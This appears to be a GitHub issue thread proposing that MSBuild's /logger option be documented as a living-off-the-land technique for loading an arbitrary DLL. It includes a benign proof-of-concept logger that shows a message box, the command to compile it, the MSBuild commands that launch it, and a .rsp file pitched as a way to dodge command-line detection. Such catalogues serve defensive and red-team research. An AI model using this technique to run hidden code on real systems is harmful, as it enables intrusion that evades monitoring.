[Recommendation] Extend MSbuild - Include Loggers in context, example uses

[ghost]

Loading a DLL From Command Line , and pass parameters

msbuild /logger:TargetLogger,C:\Loggers\TargetLogger.dll;MyParameters,Foo,Bar ...

This works like rundll32 or regsvr32.exe or installutil.exe.

Example Logger

In addition, attackers can supply logger statements in a .rsp file to evade command line detection.

https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-response-files?view=vs-2019

[ghost]

Source Code For Prototype Logger:

using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;

// C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /r:C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Utilities.v4.0.dll,Microsoft.Build.Framework.dll logger.cs

public class TargetLogger : Logger
{
	public override void Initialize(IEventSource eventSource)
	{
		System.Windows.Forms.MessageBox.Show("Boomer");
	}
}

Launch MSbuild Load logger.dll

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe /logger:TargetLogger,logger.dll;MyParameters

Note Logger Path can be relative or in a .rsp file.

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe /logger:TargetLogger,C:\Loggers\TargetLogger.dll;MyParameters

Sample .rsp

/logger:TargetLogger,logger.dll;MyParameters

Call with

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe @sample.rsp

Feedback Welcome.

[ghost]

Advantage of a .rsp file is it abstracts from cmd line detections.

[api0cradle]

Added 5db35bb
Thank you so much for this contribution